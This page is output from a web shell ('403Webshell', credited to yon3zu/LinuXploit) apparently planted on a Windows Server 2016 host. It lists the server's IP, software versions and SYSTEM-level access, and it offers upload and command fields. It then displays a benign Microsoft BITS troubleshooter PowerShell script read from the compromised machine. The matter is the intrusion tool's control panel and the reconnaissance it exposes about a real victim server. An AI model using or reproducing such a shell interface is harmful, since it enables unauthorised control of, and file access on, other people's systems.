403Webshell
Server IP : 123.56.80.60  /  Your IP : 216.73.216.33
Web Server : Apache/2.4.54 (Win32) OpenSSL/1.1.1s PHP/7.4.33 mod_fcgid/2.3.10-dev
System : Windows NT iZhx3sob14hnz7Z 10.0 build 14393 (Windows Server 2016) i586
User : SYSTEM ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Windows/diagnostics/system/BITS/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Windows/diagnostics/system/BITS//TS_Main.ps1
# Copyright © 2015, Microsoft Corporation. All rights reserved.
# :: ======================================================= ::

#====================================================================================
# Initialize
#====================================================================================
Import-LocalizedData -BindingVariable Strings_Main -FileName CL_LocalizationData  

#====================================================================================
# Load Utilities
#====================================================================================
. ./CL_Service.ps1

#====================================================================================
# Main
#====================================================================================

Write-DiagProgress -Activity $Strings_Main.ID_PROG_MAIN_Initializing
	
# Checking for root causes
. .\RC_BITSRegKeys.ps1 | Out-Null
. .\RC_BITSDLL.ps1 | Out-Null
. .\RC_BITSACL.ps1 | Out-Null

Write-DiagProgress -Activity (($Strings_Main.ID_STATUS_START_SERVICE).Replace('%ServiceName%','Bits'))

# Clear bits queue
Set-Service bits -StartupType Automatic -ErrorAction SilentlyContinue
& "$env:windir\system32\bitsadmin.exe" /reset /allusers

$output = net start bits 2>&1
if ((IsServiceInstalled "bits") -eq $true)
{
	Get-Service bits -DependentServices -ErrorAction SilentlyContinue | Start-Service -ErrorAction SilentlyContinue
}

if($output)
{
	$sb = New-Object System.Text.StringBuilder
	$sb.Append(($Strings_Main.ID_BITS_ERROR_MSG_SERVICE))
	$sb.Append("`n")
	foreach($o in $output)
	{
		if($o)
		{
			$sb.append($o.tostring().Trim() + ' ')
		}
	}
	($sb.ToString()) | ConvertTo-Xml | Update-DiagReport -ID 'TS_Main' -Name 'Service Status' -Verbosity Informational;
}

cmd /c 'sc config bits start = auto'

Youez - 2016 - github.com/yon3zu
LinuXploit